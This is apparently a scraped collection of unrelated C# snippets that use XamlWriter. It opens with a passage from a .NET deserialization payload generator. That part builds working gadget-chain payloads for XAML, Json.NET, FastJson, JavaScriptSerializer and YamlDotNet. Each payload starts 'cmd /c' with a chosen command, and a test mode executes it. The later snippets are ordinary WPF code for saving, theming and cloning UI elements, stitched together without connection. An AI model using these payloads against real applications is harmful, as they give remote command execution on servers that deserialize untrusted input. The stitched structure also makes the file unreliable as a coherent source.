                odp.MethodName           = "Start";
                odp.IsInitialLoadEnabled = false;
                odp.ObjectInstance       = p;

                string payload = XamlWriter.Save(odp);

                if (test)
                {
                    try
                    {
                        StringReader stringReader = new StringReader(payload);
                        XmlReader    xmlReader    = XmlReader.Create(stringReader);
                        XamlReader.Load(xmlReader);
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            if (formatter.ToLower().Equals("json.net"))
            {
                String payload = @"{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/c " + cmd + @"']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
                if (test)
                {
                    try
                    {
                        Object obj = JsonConvert.DeserializeObject <Object>(payload, new JsonSerializerSettings
                        {
                            TypeNameHandling = TypeNameHandling.Auto
                        });;
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("fastjson"))
            {
                String payload = @"{
    ""$types"":{
        ""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 3.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35"":""1"",
        ""System.Diagnostics.Process, System, Version = 2.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""2"",
        ""System.Diagnostics.ProcessStartInfo, System, Version = 2.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""3""
    },
    ""$type"":""1"",
    ""ObjectInstance"":{
        ""$type"":""2"",
        ""StartInfo"":{
            ""$type"":""3"",
            ""FileName"":""cmd"",
            ""Arguments"":""/c " + cmd + @"""
        }
    },
    ""MethodName"":""Start""
}";
                if (test)
                {
                    try
                    {
                        var instance = JSON.ToObject <Object>(payload);
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("javascriptserializer"))
            {
                String payload = @"{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'ObjectInstance':{
        '__type':'System.Diagnostics.Process, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'FileName':'cmd',
            'Arguments':'/c " + cmd + @"'
        }
    }
}";
                if (test)
                {
                    try
                    {
                        JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
                        var json_req             = jss.Deserialize <Object>(payload);
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }

            /*
             * else if (formatter.ToLower().Equals("xmlserializer"))
             * {
             *  String payload = $@"<?xml version=""1.0""?>
             * <root xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
             * <ExpandedWrapperOfXamlReaderObjectDataProvider>
             * <ExpandedElement/>
             * <ProjectedProperty0>
             * <MethodName>Parse</MethodName>
             * <MethodParameters>
             *  <anyType xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xsi:type=""xsd:string"">
             *      &lt;ResourceDictionary xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot; xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot; xmlns:Diag=&quot;clr-namespace:System.Diagnostics;assembly=system&quot;&gt;
             *          &lt;ObjectDataProvider x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{{x:Type Diag:Process}}&quot; MethodName=&quot;Start&quot;&gt;
             *              &lt;ObjectDataProvider.MethodParameters&gt;
             *                  &lt;System:String&gt;cmd&lt;/System:String&gt;
             *                  &lt;System:String&gt;/c {cmd}&lt;/System:String&gt;
             *              &lt;/ObjectDataProvider.MethodParameters&gt;
             *          &lt;/ObjectDataProvider&gt;
             *      &lt;/ResourceDictionary&gt;
             *  </anyType>
             * </MethodParameters>
             * <ObjectInstance xsi:type=""XamlReader""></ObjectInstance>
             * </ProjectedProperty0>
             * </ExpandedWrapperOfXamlReaderObjectDataProvider>
             * </root>
             * ";
             *  if (test)
             *  {
             *      try
             *      {
             *          var xmlDoc = new XmlDocument();
             *          xmlDoc.LoadXml(payload);
             *          XmlElement xmlItem = (XmlElement)xmlDoc.SelectSingleNode("root");
             *          var s = new XmlSerializer(Type.GetType(xmlItem.GetAttribute("type")));
             *          var d = s.Deserialize (new XmlTextReader(new StringReader(xmlItem.InnerXml)));
             *      }
             *      catch
             *      {
             *      }
             *  }
             *  return payload;
             * }
             * else if (formatter.ToLower().Equals("datacontractserializer"))
             * {
             *  String payload = $@"<?xml version=""1.0""?>
             * <root xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
             * <ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns=""http://schemas.datacontract.org/2004/07/System.Data.Services.Internal""
             *                                           xmlns:i=""http://www.w3.org/2001/XMLSchema-instance""
             *                                           xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"">
             * <ExpandedElement z:Id=""ref1"" xmlns:a=""http://schemas.datacontract.org/2004/07/System.Diagnostics"">
             * <__identity i:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/>
             * </ExpandedElement>
             * <ProjectedProperty0 xmlns:a=""http://schemas.datacontract.org/2004/07/System.Windows.Data"">
             * <a:MethodName>Start</a:MethodName>
             * <a:MethodParameters xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/Arrays"">
             * <b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">cmd</b:anyType>
             * <b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">/c {cmd}</b:anyType>
             * </a:MethodParameters>
             * <a:ObjectInstance z:Ref=""ref1""/>
             * </ProjectedProperty0>
             * </ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>
             * </root>
             * ";
             *  if (test)
             *  {
             *      try
             *      {
             *          var xmlDoc = new XmlDocument();
             *          xmlDoc.LoadXml(payload);
             *          XmlElement xmlItem = (XmlElement)xmlDoc.SelectSingleNode("root");
             *          var s = new DataContractSerializer(Type.GetType(xmlItem.GetAttribute("type")));
             *          var d = s.ReadObject(new XmlTextReader(new StringReader(xmlItem.InnerXml)));
             *      }
             *      catch
             *      {
             *      }
             *  }
             *  return payload;
             * }
             */
            else if (formatter.ToLower().Equals("yamldotnet"))
            {
                String payload = @"
!<!System.Windows.Data.ObjectDataProvider%2c%20PresentationFramework%2c%20Version=3.0.0.0%2c%20Culture=neutral%2c%20PublicKeyToken=31bf3856ad364e35> {
    MethodName: Start,
	ObjectInstance: 
		!<!System.Diagnostics.Process%2c%20System%2c%20Version=2.0.0.0%2c%20Culture=neutral%2c%20PublicKeyToken=b77a5c561934e089> {
			StartInfo:
				!<!System.Diagnostics.ProcessStartInfo%2c%20System%2c%20Version=2.0.0.0%2c%20Culture=neutral%2c%20PublicKeyToken=b77a5c561934e089> {
					FileName : cmd,
					Arguments : '/C "                     + cmd + @"'

                }
        }
}";
                if (test)
                {
                    try
                    {
                        //to bypass all of the vulnerable version's type checking, we need to set up a stream
                        using (var reader = new StreamReader(new MemoryStream(System.Text.Encoding.UTF8.GetBytes(payload))))
                        {
                            var deserializer = new DeserializerBuilder().Build();
                            var result       = deserializer.Deserialize(reader);
                        }
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else
            {
                throw new Exception("Formatter not supported");
            }
        }
Exemple #23
0
        public void CloseWindows(object sender, MouseButtonEventArgs e)
        {
            int slide_cnt = this.SlideList.Items.Count;
            int i;

            //현재 슬라이드의 Child 이미지들의 UIElement를 저장

            Slide.Slide s = this.SlideList.SelectedItem as Slide.Slide;
            s.Children.Clear();

            foreach (UIElement item in this.DrawingCanvas.Children)
            {
                //  Slide.Slide s = this.SlideList.SelectedItem as Slide.Slide;
                s.Children.Add(cloneElement(item));
            }

            //전체 슬라이드를 순회하면서 Stroke, Child Element, Thumbnail을 저장
            for (i = 0; i < slide_cnt; i++)
            {
                int j;

                // Strokes를 저장
                StrokeCollection _strokes;
                Slide.Slide      _slide;
                _slide   = (this.SlideList.Items[i] as Slide.Slide);
                _strokes = _slide.Strokes;
                File.WriteAllText(".\\Saved\\" + _slide.Title + "_Strokes.xaml", XamlWriter.Save(_strokes));

                //Thumbnail을 저장
                IFormatter        formatter = new BinaryFormatter();
                Stream            stream    = File.Create(".\\Saved\\" + _slide.Title + "_th.jpg");
                JpegBitmapEncoder encoder   = new JpegBitmapEncoder();
                encoder.QualityLevel = 30;
                encoder.Frames.Add(BitmapFrame.Create(_slide.Thumbnail as BitmapSource));
                encoder.Save(stream);
                stream.Flush();
                stream.Close();

                //ChildUIElement를 저장
                //System.Diagnostics.Debug.WriteLine("ChildCout :"+ _slide.Children.Count);
                for (j = 0; j < _slide.Children.Count; j++)
                {
                    UIElement _saved;
                    _saved = CloneDocument(_slide.Children[j] as UIElement);
                    File.WriteAllText(".\\Saved\\" + _slide.Title + "_UIElement" + j + ".xaml", XamlWriter.Save(_saved));
                }
            }
            this.SearchWindow.KillMe();
            this.Close();
        }
Exemple #24
0
        private static void Warm()
        {
            XamlWriter.Save(new Storyboard());
            XamlWriter.Save(new DoubleAnimation());
            //XamlWriter.Save(new Trigger());
            XamlWriter.Save(new TriggerAction());
            XamlWriter.Save(new DataTrigger());
            XamlWriter.Save(new EventTrigger());

            foreach (var ass in AppDomain.CurrentDomain.GetAssemblies()
                     .Where(x => !x.IsDynamic))
            {
                Console.WriteLine($"{ass.FullName}");

                foreach (var m in ass.GetExportedTypes().SelectMany(y =>
                                                                    y.GetMethods(BindingFlags.DeclaredOnly
                                                                                 | BindingFlags.NonPublic
                                                                                 | BindingFlags.Public
                                                                                 | BindingFlags.Instance
                                                                                 | BindingFlags.Static)
                                                                    .Where(x => !x.ContainsGenericParameters && !x.IsAbstract && !x.Attributes.HasFlag(MethodAttributes.PinvokeImpl))
                                                                    .ToList()))
                {
                    try
                    {
                        System.Runtime.CompilerServices.RuntimeHelpers.PrepareMethod(m.MethodHandle);
                    }
                    catch { }
                }

                foreach (var m in ass.GetExportedTypes()
                         .Where(x => !x.ContainsGenericParameters && !x.IsAbstract && !x.IsGenericTypeDefinition)
                         .SelectMany(y =>
                                     y.GetProperties()
                                     .Where(x => !x.DeclaringType.ContainsGenericParameters && !x.DeclaringType.IsAbstract && !x.DeclaringType.IsGenericTypeDefinition)
                                     .ToList()))
                {
                    if (m.SetMethod != null &&
                        !m.SetMethod.ContainsGenericParameters &&
                        !m.SetMethod.IsAbstract)
                    {
                        try
                        {
                            System.Runtime.CompilerServices.RuntimeHelpers.PrepareMethod(m.SetMethod.MethodHandle);
                        }
                        catch
                        {
                        }
                    }
                    if (m.GetMethod != null &&
                        !m.GetMethod.ContainsGenericParameters &&
                        !m.GetMethod.IsAbstract &&
                        !m.GetMethod.Attributes.HasFlag(MethodAttributes.PinvokeImpl))
                    {
                        try
                        {
                            System.Runtime.CompilerServices.RuntimeHelpers.PrepareMethod(m.GetMethod.MethodHandle);
                        }
                        catch
                        {
                        }
                    }
                }
            }
        }
Exemple #25
0
 public static T Duplicate <T>(this T reference) where T : FrameworkElement
 {
     return(XamlReader.Parse(XamlWriter.Save(reference)) as T);
 }
        public void TestNonEmptySerialization()
        {
            ChartPlotter plotter = new ChartPlotter();

            string xaml = XamlWriter.Save(plotter);
        }
Exemple #27
0
        //public static IEnumerable<T> FindLogicalChildren<T>(DependencyObject depObj) where T : DependencyObject
        //{
        //    if (depObj != null)
        //    {
        //        foreach (object rawChild in LogicalTreeHelper.GetChildren(depObj))
        //        {
        //            if (rawChild is DependencyObject)
        //            {
        //                DependencyObject child = (DependencyObject)rawChild;
        //                if (child is T)
        //                {
        //                    yield return (T)child;
        //                }

        //                foreach (T childOfChild in FindLogicalChildren<T>(child))
        //                {
        //                    yield return childOfChild;
        //                }
        //            }
        //        }
        //    }
        //}

        private void PopupMenu_Opened(object sender, EventArgs e)
        {
            //Owner.QuickAccessToolBarMainWindow.Items
            this.PopupToolbar.Items.Clear();
            using (IEnumerator <RibbonButton> enumerator = (from b in FindLogicalChildren <RibbonButton>(RibbonWin)
                                                                                                                 //where Owner.RibbonWin.QuickAccessToolBar.Items.Contains(b) /*&& (mainwindow.RibbonWin.QuickAccessToolBar.Items.Count<QuickAccessMenuItem>(c => (c.Target == b)) == 0)*/
                                                            where RibbonWin.QuickAccessToolBar.Items.Contains(b) /*&& (Owner.RibbonWin.QuickAccessToolBar.Items.Count<RibbonButton>(c => (c.tar == b)) == 0)*/

                                                            select b).GetEnumerator())
            {
                while (enumerator.MoveNext())
                {
                    RibbonButton ribbonButton = enumerator.Current;

                    StringReader input   = new StringReader(XamlWriter.Save(ribbonButton));
                    RibbonButton newItem = (RibbonButton)XamlReader.Load(XmlReader.Create(input));


                    //newItem.Size = Fluent.RibbonControlSize.Middle;
                    //newItem.LargeImageSource =
                    if (NewMainWindow.settings.Fields.BigPopupToolbar)
                    {
                        //newItem.LargeImageSource = new BitmapImage(new Uri("pack://application:,,,/Resources/copy_6524.png"));
                        //newItem.
                    }

                    newItem.CanAddToQuickAccessToolBarDirectly = false;
                    newItem.Command = ribbonButton.Command;
                    newItem.Click  += delegate(object o, RoutedEventArgs a)
                    {
                        if ((ribbonButton.IsEnabled && (ribbonButton.Visibility == Visibility.Visible)) && this.PopupAction())
                        {
                            //ribbonButton.RaiseEvent(new RoutedEventArgs(System.Windows.Controls.Primitives.ButtonBase.ClickEvent));
                            ribbonButton.RaiseEvent(new RoutedEventArgs(RibbonButton.ClickEvent));
                        }
                    };
                    this.PopupToolbar.Items.Add(newItem);
                }
            }
            //foreach (RibbonMenuItem item in from b in FindLogicalChildren<RibbonMenuItem>(Owner.RibbonWin)
            //                                where Owner.RibbonWin.QuickAccessToolBar.Items.Contains(b) /*&& (mainwindow.RibbonWin.QuickAccessItems.Count<QuickAccessMenuItem>(c => (c.Target == b)) == 0)*/
            //                                select b)
            //{
            //    RibbonButton button2 = new RibbonButton
            //    {
            //        //SmallImageSource = item.QuickAccessToolBarImageSource,
            //        //Size = Fluent.RibbonControlSize.Middle,
            //        //ToolTip = item.ToolTip,
            //        CanAddToQuickAccessToolBarDirectly = false
            //    };
            //    button2.Click += (o, a) => this.PopupAction();
            //    //button2.ToolTip = item.ToolTip;
            //    button2.Command = item.Command;
            //    button2.CommandParameter = item.CommandParameter;
            //    this.PopupToolbar.Items.Add(button2);
            //}
            if (this.PopupToolbar.Items.Count == 0)
            {
                TextBlock block = new TextBlock
                {
                    Text   = "Отсутствуют добаленные команды.\r\nДобавьте команду в панель быстрого доступа.",
                    Margin = new Thickness(3.0)
                };
                this.PopupToolbar.Items.Add(block);
            }
        }
Exemple #28
0
        /// <summary>
        /// Sets the theme color of the application. This method dynamically creates an in-memory resource
        /// dictionary containing the accent colors used by Fluent.Ribbon.
        /// </summary>
        public static void ApplyTheme()
        {
            //<Color x:Key="HighlightColor">
            //    #800080
            //</Color>
            //<Color x:Key="AccentColor">
            //    #CC800080
            //</Color>
            //<Color x:Key="AccentColor2">
            //    #99800080
            //</Color>
            //<Color x:Key="AccentColor3">
            //    #66800080
            //</Color>
            //<Color x:Key="AccentColor4">
            //    #33800080
            //</Color>

            //<SolidColorBrush x:Key="HighlightBrush" Color="{StaticResource HighlightColor}" />
            //<SolidColorBrush x:Key="AccentColorBrush" Color="{StaticResource AccentColor}" />
            //<SolidColorBrush x:Key="AccentColorBrush2" Color="{StaticResource AccentColor2}" />
            //<SolidColorBrush x:Key="AccentColorBrush3" Color="{StaticResource AccentColor3}" />
            //<SolidColorBrush x:Key="AccentColorBrush4" Color="{StaticResource AccentColor4}" />
            //<SolidColorBrush x:Key="WindowTitleColorBrush" Color="{StaticResource AccentColor}" />
            //<SolidColorBrush x:Key="AccentSelectedColorBrush" Color="White" />
            //<LinearGradientBrush x:Key="ProgressBrush" EndPoint="0.001,0.5" StartPoint="1.002,0.5">
            //    <GradientStop Color="{StaticResource HighlightColor}" Offset="0" />
            //    <GradientStop Color="{StaticResource AccentColor3}" Offset="1" />
            //</LinearGradientBrush>
            //<SolidColorBrush x:Key="CheckmarkFill" Color="{StaticResource AccentColor}" />
            //<SolidColorBrush x:Key="RightArrowFill" Color="{StaticResource AccentColor}" />

            //<Color x:Key="IdealForegroundColor">
            //    Black
            //</Color>
            //<SolidColorBrush x:Key="IdealForegroundColorBrush" Color="{StaticResource IdealForegroundColor}" />

            // Theme is always the 0-index of the resources
            var application          = Application.Current;
            var applicationResources = application.Resources;
            var resourceDictionary   = ThemeHelper.GetAccentColorResourceDictionary();

            var applicationTheme = ThemeManager.AppThemes.First(x => string.Equals(x.Name, "BaseLight"));

            // Create theme, note we need to write this to a file since
            // ThemeManager.AddAccent requires a resource uri
            var resDictName = $"ApplicationAccentColors.xaml";
            var fileName    = Path.Combine(Catel.IO.Path.GetApplicationDataDirectory(), resDictName);

            Log.Debug($"Writing dynamic theme file to '{fileName}'");

            using (var writer = XmlWriter.Create(fileName, new XmlWriterSettings
            {
                Indent = true,
                IndentChars = "    "
            }))
            {
                XamlWriter.Save(resourceDictionary, writer);
                writer.Flush();
            }

#if NETCORE
            // Note: because .NET Core can't read IsReadonly="False", we need to remove it
            var fileContents = File.ReadAllText(fileName);
            if (!string.IsNullOrWhiteSpace(fileContents))
            {
                fileContents = fileContents.Replace("IsReadOnly=\"False\"", string.Empty);

                File.WriteAllText(fileName, fileContents);
            }
#endif

            resourceDictionary = new ResourceDictionary
            {
                Source = new Uri(fileName, UriKind.Absolute)
            };

            Log.Debug("Applying theme to Fluent.Ribbon");

            var newAccent = new Accent
            {
                Name      = "Runtime accent (Orchestra)",
                Resources = resourceDictionary
            };

            ThemeManager.AddAccent(newAccent.Name, newAccent.Resources.Source);
            ThemeManager.ChangeAppStyle(application, newAccent, applicationTheme);

            // Note: important to add the resources dictionary *after* changing the app style, but then insert at the top
            // so theme detection performance is best
            applicationResources.MergedDictionaries.Insert(0, resourceDictionary);
        }
Exemple #29
0
        void Save(string filename)
        {
            try
            {
                BitmapEncoder enc = null;
                string        ext = Path.GetExtension(filename);

                switch (ext.ToLower())
                {
                case ".bmp":
                    enc = new BmpBitmapEncoder();
                    break;

                case ".gif":
                    enc = new GifBitmapEncoder();
                    break;

                case ".xaml":
                    using (var sw = new StreamWriter(filename, false, Encoding.UTF8))
                    {
                        XamlWriter.Save(diagram, sw);
                    }
                    break;

                case ".xps":
                    SaveXps(filename);
                    break;

                case ".png":
                    enc = new PngBitmapEncoder();
                    break;

                case ".jpg":
                    enc = new JpegBitmapEncoder();
                    break;

                case ".msagl":
                    if (this.diagram.Graph != null)
                    {
                        diagram.Graph.Write(filename);
                    }
                    return;
                }
                if (enc != null)
                {
                    Brush graphScrollerBackground = graphScroller.Background;
                    graphScroller.Background = Brushes.White;

                    var rmi = new RenderTargetBitmap((int)graphScroller.ViewportWidth,
                                                     (int)graphScroller.ViewportHeight, 0, 0, PixelFormats.Default);
                    rmi.Render(graphScroller);
                    Clipboard.SetImage(rmi);
                    //// reset VisualOffset to (0,0).
                    //Size s = this.diagram.RenderSize;
                    //diagram.Arrange(new Rect(0, 0, s.Width, s.Height));

                    //Transform t = this.diagram.LayoutTransform;
                    //Point p = t.Transform(new Point(s.Width, s.Height));
                    //RenderTargetBitmap rmi = new RenderTargetBitmap((int)p.X, (int)p.Y, 1 / 96, 1 / 96, PixelFormats.Pbgra32);
                    //rmi.Render(this.diagram);

                    //// fix the VisualOffset so diagram doesn't move inside scroller.
                    //this.graphScroller.Content = null;
                    //this.graphScroller.Content = diagram;
                    try
                    {
                        using (var fs = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Write))
                        {
                            enc.Frames.Add(BitmapFrame.Create(rmi));
                            enc.Save(fs);
                        }
                    }
                    // ReSharper disable EmptyGeneralCatchClause
                    catch { }
                    // ReSharper restore EmptyGeneralCatchClause
                    finally
                    {
                        graphScroller.Background = graphScrollerBackground;
                    }
                }
            }
            catch (Exception e)
            {
                MessageBox.Show(e.ToString(), "Save Failed", MessageBoxButton.OK, MessageBoxImage.Error);
            }
        }
Exemple #30
0
        public System.Windows.UIElement Render()
        {
            if (PiePlot == null || SBCount == null || SECount == null || ESpan == null)
            {
                return(null);
            }
            var   plot  = PiePlot;
            var   s     = plot.ToBitmap();
            Image image = new Image();

            image.Source = s;
            image.Width  = s.Width;
            image.Height = s.Height;

            string           bagcount = XamlWriter.Save(SBCount);
            StringReader     bc       = new StringReader(bagcount);
            XmlReader        readerbc = XmlTextReader.Create(bc, new XmlReaderSettings());
            FrameworkElement bcount   = (FrameworkElement)XamlReader.Load(readerbc);
            StackPanel       sbc      = bcount.FindName("ShellbagCount") as StackPanel;

            string           eventcount = XamlWriter.Save(SECount);
            StringReader     ec         = new StringReader(eventcount);
            XmlReader        readerec   = XmlTextReader.Create(ec, new XmlReaderSettings());
            FrameworkElement ecount     = (FrameworkElement)XamlReader.Load(readerec);
            StackPanel       sec        = ecount.FindName("ShellEventCount") as StackPanel;

            string           espan    = XamlWriter.Save(ESpan);
            StringReader     esp      = new StringReader(espan);
            XmlReader        readeres = XmlTextReader.Create(esp, new XmlReaderSettings());
            FrameworkElement evespan  = (FrameworkElement)XamlReader.Load(readeres);
            StackPanel       es       = evespan.FindName("EventSpan") as StackPanel;


            Grid             g    = new Grid();
            ColumnDefinition iCol = new ColumnDefinition();

            iCol.Width = new GridLength(350);
            g.ColumnDefinitions.Add(iCol);
            g.ColumnDefinitions.Add(new ColumnDefinition());
            g.ColumnDefinitions.Add(new ColumnDefinition());
            g.ColumnDefinitions.Add(new ColumnDefinition());
            RowDefinition iRow = new RowDefinition();

            iRow.Height = new GridLength(325);
            g.RowDefinitions.Add(iRow);

            Grid.SetColumn(image, 0);
            Grid.SetRow(image, 0);

            Grid.SetColumn(sbc, 1);
            Grid.SetRow(sbc, 0);

            Grid.SetColumn(sec, 2);
            Grid.SetRow(sec, 0);
            Grid.SetColumn(es, 3);
            Grid.SetRow(es, 0);

            g.Children.Add(image);
            g.Children.Add(sbc);
            g.Children.Add(sec);
            g.Children.Add(es);

            return(g);
        }
 public XamlWriter StartMember(XamlMember member, XamlWriter parentWriter)
 {
     this.CurrentMember = member;
     this.parentWriter = parentWriter;
     this.currentMemberNodes = new XamlNodeQueue(parentWriter.SchemaContext);
     return this.currentMemberNodes.Writer;
 }
Exemple #32
0
        public override object ConvertTo(ITypeDescriptorContext context, CultureInfo culture, object value, Type destinationType)
        {
            EnumItem item = value as EnumItem;

            if (item != null)
            {
                if (destinationType == typeof(String))
                {
                    return(item.ToString());
                }
                if (destinationType == typeof(UIElement))
                {
                    object displayValue = item.DisplayValue;
                    if (displayValue == null || displayValue is String)
                    {
                        TextBlock textBlock = new TextBlock();
                        textBlock.Text = item.ToString();
                        return(textBlock);
                    }
                    else if (displayValue is UIElement)
                    {
                        if (VisualTreeHelper.GetParent((UIElement)displayValue) != null)
                        {
                            // Clone UIElement to allow it to be used several times.
                            string       str = XamlWriter.Save(displayValue);
                            StringReader sr  = new StringReader(str);
                            XmlReader    xr  = XmlReader.Create(sr);
                            UIElement    ret = (UIElement)XamlReader.Load(xr);
                            return(ret);
                        }
                        else
                        {
                            return(displayValue);
                        }
                    }
                    if (displayValue is DataTemplate)
                    {
                        ContentPresenter presenter = new ContentPresenter();
                        presenter.Content         = item;
                        presenter.ContentTemplate = (DataTemplate)displayValue;
                        return(presenter);
                    }
                    else if (displayValue is Style)
                    {
                        TextBlock textBlock = new TextBlock();
                        textBlock.Style = (Style)displayValue;
                        textBlock.Text  = item.ToString();
                        return(textBlock);
                    }
                    else if (displayValue is ImageSource)
                    {
                        System.Windows.Controls.Image image = new System.Windows.Controls.Image();
                        image.Source = (ImageSource)displayValue;
                        return(image);
                    }
                    else if (displayValue is Drawing)
                    {
                        System.Windows.Controls.Image image = new System.Windows.Controls.Image();
                        image.Source = new DrawingImage((Drawing)displayValue);
                        return(image);
                    }
                    else if (displayValue is System.Windows.Media.Brush)
                    {
                        TextBlock textBlock = new TextBlock();
                        textBlock.Background = (System.Windows.Media.Brush)displayValue;
                        textBlock.Text       = item.ToString();
                        return(textBlock);
                    }

                    else
                    {
                        TypeConverter converter = TypeDescriptor.GetConverter(displayValue);
                        if (converter.CanConvertTo(typeof(UIElement)))
                        {
                            UIElement element = converter.ConvertTo(context, culture, displayValue, typeof(UIElement)) as UIElement;
                            if (element != null)
                            {
                                return(element);
                            }
                        }
                        String text;
                        if (converter.CanConvertTo(typeof(string)))
                        {
                            text = converter.ConvertToString(context, culture, displayValue);
                        }
                        else
                        {
                            text = displayValue.ToString();
                        }
                        TextBlock textBlock = new TextBlock();
                        textBlock.Text = text;
                        return(textBlock);
                    }
                }
                if (destinationType == typeof(ImageSource))
                {
                    Object displayValue = item.DisplayValue;
                    if (displayValue == null || displayValue is ImageSource)
                    {
                        return(displayValue);
                    }
                    ImageSourceConverter imageSourceConverter = new ImageSourceConverter();
                    if (imageSourceConverter.CanConvertFrom(context, displayValue.GetType()))
                    {
                        object convertedValue = imageSourceConverter.ConvertFrom(context, culture, displayValue);
                        return(convertedValue);
                    }
                }
                else
                {
                    Object displayValue = item.DisplayValue;
                    if (displayValue == null || destinationType.IsAssignableFrom(displayValue.GetType()))
                    {
                        return(displayValue);
                    }
                    TypeConverter converter = TypeDescriptor.GetConverter(destinationType);
                    if (converter.CanConvertFrom(displayValue.GetType()))
                    {
                        object convertedValue = converter.ConvertFrom(context, culture, displayValue);
                        return(convertedValue);
                    }
                    else
                    {
                        Debug.Print("Unable to convert display value to target type: " + destinationType.FullName);
                        return(displayValue);
                    }
                }
            }
            return(null);
        }
 public void FlushMembers(XamlWriter parentWriter)
 {
     if (this.Type == null)
     {
         Fx.Assert(Members == null, "We shouldn't buffer members on GetObject");
         return;
     }
     if (Members != null)
     {
         foreach (KeyValuePair<XamlMember, XamlNodeQueue> member in Members)
         {
             parentWriter.WriteStartMember(member.Key);
             XamlServices.Transform(member.Value.Reader, parentWriter, false);
             parentWriter.WriteEndMember();
         }
     }
     if (PropertyReferences != null)
     {
         foreach (ActivityPropertyReference propertyReference in PropertyReferences)
         {
             XamlMember targetProperty = this.Type.GetMember(propertyReference.TargetProperty) ??
                 new XamlMember(propertyReference.TargetProperty, this.Type, false);
             parentWriter.WriteStartMember(targetProperty);
             WritePropertyReference(parentWriter, targetProperty, propertyReference.SourceProperty);
             parentWriter.WriteEndMember();
         }
     }
 }
Exemple #34
0
        /// <summary>
        /// Clones the specified object by writing it to XAML and reading the XAML into a new object.
        /// </summary>
        /// <param name="obj">The object to be cloned.</param>
        /// <returns>The cloned object.</returns>
        public static object Clone(this object obj)
        {
            string xaml = XamlWriter.Save(obj);

            return(XamlReader.Parse(xaml));
        }
Exemple #35
0
        protected override void OnExecute(XenMessageContext ctx)
        {
            var request = ctx.Get <CreateStackLayoutRequest>();

            if (request == null)
            {
                return;
            }

            var orientation = StackOrientation.Vertical;

            if (string.IsNullOrWhiteSpace(request.Orientation) || request.Orientation.ToLower() == "vertical")
            {
                orientation = StackOrientation.Vertical;
            }
            else if (request.Orientation.ToLower() == "horizontal")
            {
                orientation = StackOrientation.Horizontal;
            }

            var view = new StackLayout
            {
                Orientation = orientation,
                Spacing     = request.Spacing
            };

            var target = Surface[request.ParentId];

            if (target == null)
            {
                return;
            }

            var attached = false;

            DesignThread.Invoke(() =>
            {
                attached = Surface.SetParent(view, target);
            });

            if (!attached)
            {
                return;
            }

            var pair = Surface[view.Id];

            var xamlDefaults = string.Empty;

            try
            {
                xamlDefaults = XamlWriter.Save(new StackLayout());
            }
            catch (Exception)
            {
                // ignored
            }

            ctx.SetResponse <CreateWidgetResponse>(r =>
            {
                r.XamlDefaults = new[] { xamlDefaults };
                r.Widget       = pair.XenWidget;
                r.Parent       = target.XenWidget;
                r.Suggest <GetVisualTreeRequest>();
            });
        }
 /// <summary>
 /// Copies the viewport as xaml to the clipboard.
 /// </summary>
 /// <param name="view">
 /// The view.
 /// </param>
 public static void CopyXaml(Viewport3D view)
 {
     Clipboard.SetText(XamlWriter.Save(view));
 }
Exemple #37
0
		public static XamlWriter CreateBuilderWriter (XamlWriter innerWriter)
		{
			throw new NotImplementedException ();
		}
 public static void WriteGetObject(this XamlWriter writer, IXamlLineInfo lineInfo)
 {
     PropagateLineInfo(writer, lineInfo);
     writer.WriteGetObject();
 }